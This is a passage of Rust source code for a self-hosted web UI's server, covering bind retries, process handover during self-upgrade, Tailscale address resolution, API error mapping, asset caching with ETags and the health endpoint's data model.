1797/// A restart hands the address from one process to the next, and the old one
1798/// holds its listener until it unwinds. A single `bind` can lose that race,
1799/// and for a restart triggered from a phone that means the deck never comes
1800/// back with no terminal around to say why.
1801///
1802/// Bounded, and only for the one error a wait can fix: anything else fails at
1803/// once, because retrying it would turn a clear message into a silence.
1804async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1805    const WINDOW: Duration = Duration::from_secs(10);
1806    const GAP: Duration = Duration::from_millis(250);
1807
1808    let deadline = std::time::Instant::now() + WINDOW;
1809    let mut said = false;
1810    loop {
1811        match tokio::net::TcpListener::bind(socket).await {
1812            Ok(listener) => return Ok(listener),
1813            Err(e)
1814                if e.kind() == std::io::ErrorKind::AddrInUse
1815                    && std::time::Instant::now() < deadline =>
1816            {
1817                if !said {
1818                    said = true;
1819                    tracing::info!(
1820                        "{socket} is still held - waiting up to {}s for it, \
1821                         which is what a restart looks like from here",
1822                        WINDOW.as_secs()
1823                    );
1824                }
1825                tokio::time::sleep(GAP).await;
1826            }
1827            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1828        }
1829    }
1830}
1831
1832/// Signalled when an upgrade has replaced the binary and the successor should
1833/// take this address over. One per process: there is one address to hand on.
1834static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1835
1836/// Set to `1` on the successor when the loop was running at handover.
1837const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1838/// Keep a dynamically assigned listener address stable across replacement.
1839const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1840
1841/// Whether the environment value asks for the loop to be resumed.
1842fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1843    value.is_some_and(|v| v == "1")
1844}
1845
1846/// Start this binary again with the same arguments, detached.
1847///
1848/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1849/// so the address is already free when the successor binds it. The first
1850/// attempt at this spawned the successor two hundred milliseconds before
1851/// exiting instead, and the released binary - which has no bind retry - died
1852/// on "address already in use" with its stdio sent to null, so the deck
1853/// simply never came back.
1854///
1855/// Detached and without inherited stdio: the successor has to outlive this
1856/// process, and must not hold open a pipe a terminal is waiting on.
1857///
1858/// The scheduler is restarted separately; execution workers are not awaited.
1859///
1860/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1861/// than sent to null: a supervisor's redirection only ever held the first
1862/// generation's descriptors, so every later generation logged nowhere. The
1863/// pid of the child is returned so the handover log can name it.
1864fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1865    let args: Vec<String> = std::env::args().skip(1).collect();
1866    updater::log_step(
1867        home,
1868        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1869    );
1870    let log_path = home.join(WEB_LOG);
1871    let open_log = || {
1872        std::fs::create_dir_all(home)?;
1873        std::fs::OpenOptions::new()
1874            .create(true)
1875            .append(true)
1876            .open(&log_path)
1877    };
1878    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1879        Ok(pair) => (
1880            std::process::Stdio::from(pair.0),
1881            std::process::Stdio::from(pair.1),
1882        ),
1883        Err(e) => {
1884            updater::log_warn(
1885                home,
1886                &format!(
1887                    "could not open {}: {e}; the successor logs nowhere",
1888                    log_path.display()
1889                ),
1890            );
1891            (std::process::Stdio::null(), std::process::Stdio::null())
1892        }
1893    };
1894
1895    let mut cmd = std::process::Command::new(exe);
1896    cmd.env_remove(RESUME_LOOP_ENV);
1897    cmd.env(RESTART_PORT_ENV, port.to_string());
1898    cmd.args(&args)
1899        .stdin(std::process::Stdio::null())
1900        .stdout(out)
1901        .stderr(err);
1902    #[cfg(windows)]
1903    {
1904        use std::os::windows::process::CommandExt as _;
1905        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1906        // and Ctrl-C in the old terminal must not reach the successor.
1907        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1908    }
1909    let child = cmd.spawn().context("start the successor")?;
1910    Ok(child.id())
1911}
1912
1913/// File under `<home>` the successor's output is appended to.
1914const WEB_LOG: &str = "web.log";
1915
1916/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1917/// stored by an earlier `notify_one` is consumed by the first poll, so the
1918/// signal is never missed and never wakes a second time.
1919async fn wait_for_handover(signal: &Notify) {
1920    signal.notified().await;
1921}
1922
1923/// Serve the UI independently from scheduler and execution workers.
1924/// A restart releases its listener before starting the successor.
1925pub async fn serve(opts: Opts) -> Result<()> {
1926    // Capture before self-replacement: current_exe may later name a removed
1927    // image on Linux or the renamed old image on Windows.
1928    crate::worker::remember_current_executable()?;
1929    let executable = std::env::current_exe().context("find the installed web executable")?;
1930    let (addr, warning) = resolve_bind(&opts.bind);
1931    if let Some(warning) = warning {
1932        tracing::warn!("{warning}");
1933    }
1934
1935    // Process-global, and therefore set exactly once, here: the report route
1936    // must never emit escape sequences into a browser, and toggling the flag
1937    // per request would race with a concurrent request rendering its own
1938    // report. Startup is the only moment at which no request can observe the
1939    // change. Nothing in the server turns colour back on.
1940    report::set_color(false);
1941
1942    let repo = normalize_default_repo(opts.repo).await;
1943    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1944    // The listener and periodic checker share one upgrade gate and state.
1945    let home = ui.home.clone();
1946    let admissions = Arc::clone(&ui.admissions);
1947    // Settles a progress record a predecessor left non-terminal - either this
1948    // *is* the successor `spawn_successor` started, or the previous process
1949    // died mid-handover. Before the router starts answering, so the very
1950    // first `/api/health` a phone gets from this process already reflects it.
1951    updater::reconcile_after_restart(&home);
1952    updater::log_step(
1953        &home,
1954        &format!(
1955            "web process started (version {}); handover log {}, successor output {}",
1956            env!("CARGO_PKG_VERSION"),
1957            updater::log_path(&home).display(),
1958            home.join(WEB_LOG).display()
1959        ),
1960    );
1961    updater::spawn_watchdog(home.clone());
1962    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1963    // `spawn_update_check` does at startup only ever runs once: after that,
1964    // `/api/health`'s `update` field - and the phone's "Update & restart"
1965    // button, which reads the very same cache - would stay frozen on
1966    // whatever that single check found, no matter how many releases ship
1967    // afterwards. The periodic checker below keeps it current and is
1968    // cancelled when the listener finishes.
1969    let port = if opts.port == 0 {
1970        std::env::var(RESTART_PORT_ENV)
1971            .ok()
1972            .and_then(|value| value.parse::<u16>().ok())
1973            .filter(|port| *port != 0)
1974            .unwrap_or(0)
1975    } else {
1976        opts.port
1977    };
1978    let socket = SocketAddr::new(addr, port);
1979    let listener = bind_waiting(socket).await?;
1980    let bound = listener.local_addr().context("read bound web address")?;
1981    let port = bound.port();
1982    let url = format!("http://{bound}");
1983    tracing::info!(
1984        "magi web UI on {url} - there is no authentication, so anyone who can \
1985         reach this address can file and hold tasks: the tailnet is the \
1986         security boundary"
1987    );
1988    // A legacy predecessor may request first-migration scheduler startup.
1989    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
1990        ui.start_detached_loop()
1991            .await
1992            .map_err(|e| anyhow::anyhow!(e.message))?;
1993    }
1994    if opts.open {
1995        // The URL alone on stdout, for a caller that wants to open it. magi
1996        // does not spawn a browser: on the machine this usually runs on there
1997        // is no display, and a failed launch would be the only output.
1998        println!("{url}");
1999    }
2000
2001    // On its own task, so nothing this function awaits can stop the address
2002    // being answered. `hand_over` is where it is given up.
2003    let recheck_ui = ui.clone();
2004    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2005    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2006    let interrupted = async {
2007        if tokio::signal::ctrl_c().await.is_err() {
2008            // No handler on this platform, so there is no signal to act on.
2009            // Never resolving is the safe answer: a failed registration must
2010            // not masquerade as the operator asking for a shutdown and take
2011            // the UI down on startup.
2012            std::future::pending::<()>().await;
2013        }
2014    };
2015    let handover = wait_for_handover(&HANDOVER);
2016    let outcome = tokio::select! {
2017        joined = &mut served => match joined {
2018            Ok(outcome) => outcome.context("serve the web UI"),
2019            Err(e) => Err(e).context("the task serving the web UI ended"),
2020        },
2021        () = interrupted => {
2022            recheck.abort();
2023            tracing::info!("shutting down the web UI; detached workers continue");
2024            close_admissions(&admissions).await;
2025            served.abort();
2026            let _ = served.await;
2027            Ok(())
2028        }
2029        () = handover => {
2030            recheck.abort();
2031            let successor_home = home.clone();
2032            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2033        }
2034    };
2035    recheck.abort();
2036    let _ = recheck.await;
2037    updater::log_step(
2038        &home,
2039        &match &outcome {
2040            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2041            Err(e) => format!("serve: returning an error: {e:#}"),
2042        },
2043    );
2044    outcome
2045}
2046
2047/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2048/// process's own working directory is not a git checkout at all - the
2049/// checkout [`repos::discover_verified`] finds instead.
2050///
2051/// Only the unmodified default is ever replaced: an operator who named a
2052/// directory outright, git checkout or not, gets exactly that directory
2053/// back, and the same story downstream (a talk whose briefing embeds a
2054/// non-git directory, and an agent that has to ask the operator where the
2055/// real repository is) that has always told them so - substituting a guess
2056/// for an explicit answer would be a second, silent opinion about what they
2057/// meant. There is no instruction or task text yet to match against this
2058/// early, so only [`repos::discover_verified`]'s own-repository tier can
2059/// ever settle this - the hint tier never fires here.
2060///
2061/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2062/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2063/// or a git installation that is broken in exactly the way that made the
2064/// original `canonical` check above fail too - so it is re-checked with
2065/// `git::toplevel` before it is ever used in place of the operator's own
2066/// directory.
2067async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2068    if repo != FsPath::new(".") {
2069        return repo;
2070    }
2071    let Ok(canonical) = repo.canonicalize() else {
2072        return repo;
2073    };
2074    if git::toplevel(&canonical).await.is_ok() {
2075        return repo;
2076    }
2077    let Some(home) = dirs::home_dir() else {
2078        return repo;
2079    };
2080    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2081        Some(found) => {
2082            tracing::info!(
2083                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2084                canonical.display(),
2085                found.path.display(),
2086                found.reason,
2087            );
2088            found.path
2089        }
2090        None => repo,
2091    }
2092}
2093
2094/// Close new ingress and finish only transactions publishing durable work.
2095/// The writer waits for owned admission guards, not task or chat turn leases.
2096async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2097    *admissions.write().await = true;
2098}
2099
2100/// Restart only the scheduler and web listener, never their execution workers.
2101/// The old listener must be fully released before the successor is started.
2102async fn hand_over(
2103    home: &FsPath,
2104    admissions: &tokio::sync::RwLock<bool>,
2105    served: tokio::task::JoinHandle<std::io::Result<()>>,
2106    successor: impl FnOnce() -> Result<u32>,
2107) -> Result<()> {
2108    close_admissions(admissions).await;
2109    if let Some(mut progress) = updater::read_progress(home) {
2110        progress.advance(updater::Stage::Restarting);
2111        progress.detail =
2112            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2113        updater::write_progress_logged(home, &progress);
2114    }
2115    updater::log_step(
2116        home,
2117        "restarting scheduler without parking execution workers",
2118    );
2119    let scheduler = daemon::restart_detached(home).await;
2120    if let Err(error) = &scheduler {
2121        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2122        updater::log_warn(
2123            home,
2124            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2125        );
2126    }
2127    updater::log_step(home, "releasing the web listener");
2128    served.abort();
2129    let _ = served.await;
2130    updater::log_step(home, "web listener released; starting the successor");
2131    match successor() {
2132        Ok(pid) => {
2133            updater::log_step(home, &format!("successor started, pid {pid}"));
2134            scheduler
2135        }
2136        Err(e) => {
2137            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2138            Err(e)
2139        }
2140    }
2141}
2142
2143/// Resolve `--bind` to an address, plus a warning when the answer is not what
2144/// the operator asked for.
2145///
2146/// Split out from [`serve`] because the interesting half - deciding whether
2147/// Tailscale gave us something usable - is testable without opening a socket.
2148pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2149    match bind {
2150        Bind::Addr(addr) => (*addr, None),
2151        Bind::Auto => match tailscale_ip() {
2152            Ok(ip) => (IpAddr::V4(ip), None),
2153            Err(why) => (
2154                IpAddr::V4(Ipv4Addr::LOCALHOST),
2155                Some(format!(
2156                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2157                     local-only and a phone cannot reach it; start Tailscale \
2158                     or pass --bind <addr>"
2159                )),
2160            ),
2161        },
2162    }
2163}
2164
2165/// This machine's Tailscale IPv4, or why there is not one.
2166///
2167/// `tailscale ip -4` is a local call against the running daemon and returns in
2168/// milliseconds, so it is fine to make it synchronously before the server
2169/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2170/// CGNAT block Tailscale assigns from, and anything else on that output would
2171/// be a different tool answering.
2172fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2173    let out = std::process::Command::new("tailscale")
2174        .args(["ip", "-4"])
2175        .quiet()
2176        .output()
2177        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2178    if !out.status.success() {
2179        let why = String::from_utf8_lossy(&out.stderr);
2180        let why = why.trim();
2181        return Err(format!(
2182            "`tailscale ip -4` failed ({}){}",
2183            out.status,
2184            if why.is_empty() {
2185                String::new()
2186            } else {
2187                format!(": {why}")
2188            }
2189        ));
2190    }
2191    String::from_utf8_lossy(&out.stdout)
2192        .lines()
2193        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2194        .find(is_tailnet)
2195        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2196}
2197
2198/// Is this address in the CGNAT block Tailscale hands out from?
2199fn is_tailnet(ip: &Ipv4Addr) -> bool {
2200    let o = ip.octets();
2201    o[0] == 100 && (64..=127).contains(&o[1])
2202}
2203
2204/// What every handler returns. Spelled out because `Result` in this crate is
2205/// `anyhow::Result`, and a handler's error is a status code as much as a
2206/// message.
2207type ApiResult<T> = std::result::Result<T, ApiError>;
2208
2209/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2210#[derive(Debug)]
2211struct ApiError {
2212    status: StatusCode,
2213    message: String,
2214    text_reason: Option<crate::question_delivery::UnavailableReason>,
2215}
2216
2217impl ApiError {
2218    /// The client asked for something malformed.
2219    fn bad_request(message: impl Into<String>) -> Self {
2220        Self {
2221            text_reason: None,
2222            status: StatusCode::BAD_REQUEST,
2223            message: message.into(),
2224        }
2225    }
2226
2227    /// No such run or task.
2228    fn not_found(message: impl Into<String>) -> Self {
2229        Self {
2230            text_reason: None,
2231            status: StatusCode::NOT_FOUND,
2232            message: message.into(),
2233        }
2234    }
2235
2236    /// Someone else owns the thing the client wants to change.
2237    /// Re-badge an error whose default mapping is wrong for this route.
2238    fn with_status(mut self, status: StatusCode) -> Self {
2239        self.status = status;
2240        self
2241    }
2242
2243    /// A rules violation from a domain type, reported as the caller's fault.
2244    /// `Question::answer` rejects an unoffered choice, and that is a bad
2245    /// request, not a server error.
2246    fn bad_request_from(e: anyhow::Error) -> Self {
2247        Self::bad_request(format!("{e:#}"))
2248    }
2249
2250    fn completion(e: anyhow::Error) -> Self {
2251        if e.is::<crate::queue::CompletionSnapshotChanged>() {
2252            Self::conflict(format!("{e:#}"))
2253        } else {
2254            Self::bad_request_from(e)
2255        }
2256    }
2257
2258    fn conflict(message: impl Into<String>) -> Self {
2259        Self {
2260            text_reason: None,
2261            status: StatusCode::CONFLICT,
2262            message: message.into(),
2263        }
2264    }
2265
2266    /// Our fault, or the disk's.
2267    fn internal(message: impl Into<String>) -> Self {
2268        Self {
2269            text_reason: None,
2270            status: StatusCode::INTERNAL_SERVER_ERROR,
2271            message: message.into(),
2272        }
2273    }
2274}
2275
2276impl From<anyhow::Error> for ApiError {
2277    /// Errors from `queue` and `run` carry their context chain, and the whole
2278    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2279    /// value at line 3" is a message an operator can act on, and there is no
2280    /// secret in a path on a single-user tailnet.
2281    fn from(e: anyhow::Error) -> Self {
2282        Self::internal(format!("{e:#}"))
2283    }
2284}
2285
2286impl IntoResponse for ApiError {
2287    fn into_response(self) -> Response {
2288        let mut body = serde_json::json!({ "error": self.message });
2289        if let Some(reason) = self.text_reason {
2290            body["code"] = serde_json::json!("question_text_unavailable");
2291            body["reason"] = serde_json::json!(reason);
2292        }
2293        (self.status, Json(body)).into_response()
2294    }
2295}
2296
2297/// Run a handler's filesystem work off the executor.
2298///
2299/// Every route that touches the disk goes through here rather than each one
2300/// arguing about whether its own read is small enough. Uniform because the
2301/// expensive case is not rare: `run.json` for a finished competition holds
2302/// every judgement, deliberation turn and review round, so listing a few
2303/// hundred runs is megabytes of parsing, and the executor threads doing it are
2304/// the same ones serving the change stream of every other connected phone.
2305async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2306where
2307    T: Send + 'static,
2308{
2309    #[cfg(test)]
2310    let job = request_cost::carry(job);
2311    match tokio::task::spawn_blocking(job).await {
2312        Ok(result) => result,
2313        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2314    }
2315}
2316
2317/// Bulk readers have a bounded, separate execution lane. A cold health
2318/// index or multiple slow list clients cannot occupy the pool serving detail.
2319async fn bulk_blocking<T>(
2320    slots: Arc<tokio::sync::Semaphore>,
2321    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2322) -> ApiResult<T>
2323where
2324    T: Send + 'static,
2325{
2326    let permit = slots
2327        .acquire_owned()
2328        .await
2329        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2330    let (send, receive) = tokio::sync::oneshot::channel();
2331    #[cfg(test)]
2332    let job = request_cost::carry(job);
2333    let runtime = tokio::runtime::Handle::current();
2334    std::thread::Builder::new()
2335        .name("web-bulk".into())
2336        .spawn(move || {
2337            let _permit = permit;
2338            // Capacity observations schedule their independent blocking job.
2339            let _runtime = runtime.enter();
2340            let _ = send.send(job());
2341        })
2342        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2343    receive
2344        .await
2345        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2346}
2347
2348/// Cache policy for the three compiled-in front-end files.
2349///
2350/// The whole interface is `include_str!`ed into the binary, so its content
2351/// changes only when the binary does - and a phone that keeps a copy is
2352/// welcome to, right up until the deck is replaced. Without a single cache
2353/// header, browsers were free to invent their own policy, and one did:
2354/// yukimemi's phone went on showing "Candidates must be folded before
2355/// deleting. Run `magi fold` first." - a sentence deleted two releases
2356/// earlier - from a run detail served by a deck that no longer contained it.
2357/// The delete button he was told about was right there, and unreachable.
2358///
2359/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2360/// every time, the answer is a 304 costing one small round trip while the
2361/// deck is unchanged, and the moment it is replaced the tag differs and the
2362/// new interface arrives. Correctness over bytes - this is one file of a few
2363/// tens of kilobytes on a tailnet, and being a version behind is not a
2364/// cosmetic problem when the difference is whether a button exists.
2365const ASSET_CACHE: &str = "no-cache, must-revalidate";
2366
2367/// `ETag` for the compiled-in assets, distinct per build.
2368///
2369/// The version alone would leave a locally built deck - `cargo install
2370/// --path .` twice at the same version, which is the normal way to iterate -
2371/// serving a stale tag for changed bytes. The build timestamp is what makes
2372/// two builds of `0.3.0` differ.
2373fn asset_etag() -> &'static str {
2374    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2375        format!(
2376            "\"{}-{}\"",
2377            env!("CARGO_PKG_VERSION"),
2378            // Length is a cheap, deterministic stand-in for a hash: the
2379            // three files are compiled in together, so any edit to any of
2380            // them almost certainly changes the total, and a rebuild is what
2381            // this needs to track rather than every possible byte pattern.
2382            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2383        )
2384    });
2385    &TAG
2386}
2387
2388/// Headers for a compiled-in asset of `mime`.
2389fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2390    [
2391        (header::CONTENT_TYPE, mime),
2392        (header::CACHE_CONTROL, ASSET_CACHE),
2393        (header::ETAG, asset_etag()),
2394    ]
2395}
2396
2397/// Serve a compiled-in asset, answering `304` when the client already has it.
2398///
2399/// axum does not compare `If-None-Match` for us, and a header the server sets
2400/// but never honours is worse than none: the phone revalidates on every load
2401/// and is handed the whole file back each time. Doing the comparison is what
2402/// makes `must-revalidate` cost one small round trip rather than the
2403/// interface.
2404fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2405    let tag = asset_etag();
2406    let known = headers
2407        .get(header::IF_NONE_MATCH)
2408        .and_then(|v| v.to_str().ok())
2409        // A revalidating client may send several, and a proxy may weaken the
2410        // tag to `W/"..."`; matching on containment covers both without
2411        // parsing the grammar.
2412        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2413    if known {
2414        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2415    }
2416    (asset_headers(mime), body).into_response()
2417}
2418
2419async fn index(headers: header::HeaderMap) -> Response {
2420    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2421}
2422
2423async fn app_css(headers: header::HeaderMap) -> Response {
2424    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2425}
2426
2427async fn app_js(headers: header::HeaderMap) -> Response {
2428    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2429}
2430
2431/// What `/api/health` answers.
2432#[derive(Debug, Serialize)]
2433struct HealthView {
2434    version: &'static str,
2435    home: String,
2436    queue_rev: u64,
2437    runs_rev: u64,
2438    /// The same revisions [`events`] streams for the question and talk
2439    /// stores.
2440    ///
2441    /// Here because this route is what the front end falls back to when the
2442    /// change stream is not up - it re-polls health on a timer and on wake, and
2443    /// takes the revisions from the answer. Without these the fallback
2444    /// compares `undefined` against `undefined` for both stores, decides
2445    /// nothing moved, and a phone with a dead stream never learns that a
2446    /// question was asked or that a talk took a turn. `queue_rev` and
2447    /// `runs_rev` above have always been here for exactly this reason; the rule
2448    /// is that every revision the stream carries, this route carries too.
2449    questions_rev: u64,
2450    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2451    talks_rev: u64,
2452    /// See [`HealthView::questions_rev`]. The notification centre's store.
2453    notifications_rev: u64,
2454    /// Notifications nobody has read yet: the bell's badge before
2455    /// `/api/notifications` has answered.
2456    notifications_unread: usize,
2457    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2458    /// is not on disk anywhere, so a phone with no change stream has no other
2459    /// way to notice that the loop it is waiting on was started from another
2460    /// device.
2461    loop_rev: u64,
2462    /// Runs on disk whose state this build cannot parse - almost always a
2463    /// schema bump, occasionally a run killed mid-write.
2464    ///
2465    /// Reported because the list silently skips them, and "no competitions
2466    /// yet" is a lie when six of them are sitting in the runs directory. The
2467    /// terminal deck learned the same lesson: a run that fails to parse must
2468    /// not disappear from the count.
2469    runs_unreadable: usize,
2470    /// The disk, and what the runs and their worktrees occupy on it.
2471    ///
2472    /// This is the incident the janitor exists for: magi alone put 30 GB into
2473    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2474    /// is exactly where the operator learns "the disk is the constraint" -
2475    /// the diagnosis that a run is being held for want of space has to be
2476    /// checkable on the same screen.
2477    disk: Option<serde_json::Value>,
2478    /// Questions nobody has answered yet, including ones an owner talked
2479    /// back on and is now waiting for the agent's reply to. A round trip
2480    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2481    /// while the ball is in the agent's court - see
2482    /// [`crate::ask::Questions::count_open`].
2483    questions_open: usize,
2484    /// Of those, how many actually need the owner right now: open, and not
2485    /// [`crate::ask::Question::waiting_on_agent`].
2486    ///
2487    /// The one number that means "nothing will happen until a human acts" -
2488    /// a parked run consumes nothing and progresses never - and the count the
2489    /// ask bar, the nav badge and the document title fall back to before
2490    /// `/api/questions` has answered, so those notification channels clear
2491    /// the instant the owner asks back and reappear the instant the agent
2492    /// replies, instead of sitting lit for however long the agent thinks.
2493    questions_needs_owner: usize,
2494    daemon: DaemonView,
2495    /// The independently controllable scheduler, as `/api/loop` reports it.
2496    ///
2497    /// Here so a phone that has just woken needs one request to know whether
2498    /// anything is going to happen at all: `daemon` says a loop is alive
2499    /// somewhere, and this says whether it is one this UI can stop.
2500    #[serde(rename = "loop")]
2501    looping: LoopView,
2502    /// Whether a release newer than this build is known, and which.
2503    ///
2504    /// From [`updater::Checker::cached_update`] - the same throttled state the
2505    /// CLI's `notify` mode banners from - never a live check: this route is
2506    /// polled every few seconds, and a live check on each poll would spend
2507    /// GitHub's rate limit before the operator finished reading the strip.
2508    update: UpdateView,
2509    /// The self-upgrade this deck last set in motion, or `null` before the
2510    /// first one. Read off disk, so the successor can report what its
2511    /// predecessor started.
2512    upgrade: Option<UpgradeProgressView>,
2513    /// Detached jobs survive replacement of this web process. Each reports
2514    /// its own immutable executable generation rather than the web version.
2515    jobs: Vec<WorkerView>,
2516    upgrade_request_error: Option<UpgradeRequestFailure>,
2517}
2518
2519/// Public execution metadata only. Job payloads contain private configuration
2520/// and must never be returned by the health endpoint.
2521#[derive(Debug, Serialize)]
2522struct WorkerView {
2523    id: String,
2524    kind: String,
2525    key: String,
2526    pid: Option<u32>,
2527    status: crate::worker::Status,
2528    generation: String,
2529    version: Option<String>,
2530    queue_owned: bool,
2531}
2532
2533impl From<crate::worker::Job> for WorkerView {
2534    fn from(job: crate::worker::Job) -> Self {
2535        let queue_owned = job.kind == "task"
2536            && job
2537                .payload
2538                .get("standalone")
2539                .and_then(serde_json::Value::as_bool)
2540                != Some(true);
2541        Self {
2542            id: job.id,
2543            kind: job.kind,
2544            key: job.key,
2545            pid: job.pid,
2546            status: job.status,
2547            generation: job.generation,
2548            version: job.version,
2549            queue_owned,
2550        }
2551    }
2552}
2553
2554/// What `/api/health` knows about a release newer than this build.
2555///
2556/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2557/// is already the newest" from "never checked" - both are `None` - and the
2558/// phone needs to tell those apart to decide whether the deck can be trusted
2559/// to have an opinion at all.
2560#[derive(Debug, Clone, Serialize)]
2561struct UpdateView {
2562    /// A newer release is known to exist.
2563    available: bool,
2564    /// Its tag, when `available`.
2565    to: Option<String>,
2566}
2567
2568/// [`updater::Progress`] as `/api/health` reports it.
2569#[derive(Debug, Serialize)]
2570struct UpgradeProgressView {
2571    trigger: updater::UpgradeTrigger,
2572    stage: updater::Stage,
2573    from: String,
2574    to: Option<String>,
2575    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2576    /// the step it is finishing before the address is handed over.
2577    waiting_on: Option<String>,
2578    started_at: Timestamp,
2579    updated_at: Timestamp,
2580    detail: Option<String>,
2581    /// Seconds the stage has outlived its allowance, when it has - see
2582    /// [`updater::stall`]. `null` while the stage is moving normally.
2583    stuck_for_secs: Option<i64>,
2584    /// Which kind of stuck: `never_entered` (hand_over left no record of
2585    /// starting) or `stopped_beating`. `null` when not stuck.
2586    stuck_kind: Option<updater::StallKind>,
2587    /// `hand_over` is alive and waiting on the loop: however long that takes,
2588    /// it is not an overdue upgrade.
2589    handover_alive: bool,
2590}
2591
2592/// Whether [`run_update_recheck`] may act at all this tick.
2593///
2594/// The same two conditions [`updater::Checker::new`] and
2595/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2596/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2597/// GitHub from this process" - on a button press or on a timer alike.
2598fn should_spawn_recheck(cfg: &Update) -> bool {
2599    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2600}
2601
2602/// Whether this tick should actually reach the network, once checking itself
2603/// is allowed.
2604///
2605/// An upgrade already in flight must not be raced by a check that discovers
2606/// a *newer* release while one is still installing - a phone watching
2607/// `/api/health` would see the answer change out from under the upgrade it
2608/// already asked for. Past that, [`updater::Checker::should_check`] is the
2609/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2610/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2611/// polling period, is what keeps this task's network use to at most once per
2612/// `[update] interval` regardless of how often it wakes up.
2613fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2614    if progress.is_some_and(|p| !p.stage.terminal()) {
2615        return false;
2616    }
2617    checker.should_check()
2618}
2619
2620/// How long [`run_update_recheck`] sleeps before its next wake-up.
2621///
2622/// A fraction of the configured `[update] interval` rather than a fixed
2623/// number: a fixed sleep longer than a short custom interval would leave the
2624/// deck waiting on its own wake-up rather than on `should_check`, so an
2625/// operator who set `interval = "1m"` to make the UI catch up quickly would
2626/// not see that take effect until the next restart - exactly the bug this
2627/// task exists to fix, just moved one level down. Scaling with the interval
2628/// keeps the wake-up prompt relative to what was actually configured, while
2629/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2630/// still what caps the network calls themselves at one per interval,
2631/// regardless of how often this fires.
2632fn recheck_poll_period(cfg: &Update) -> Duration {
2633    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2634}
2635
2636#[derive(Debug, PartialEq, Eq)]
2637enum AutoUpgradeDecision {
2638    Skip(&'static str),
2639    Trigger,
2640}
2641
2642fn auto_upgrade_decision(
2643    cfg: &Update,
2644    disabled: bool,
2645    in_motion: bool,
2646    tag: &str,
2647    failed: Option<&str>,
2648) -> AutoUpgradeDecision {
2649    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2650        AutoUpgradeDecision::Skip("disabled")
2651    } else if in_motion {
2652        AutoUpgradeDecision::Skip("upgrade already in progress")
2653    } else if failed == Some(tag) {
2654        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2655    } else {
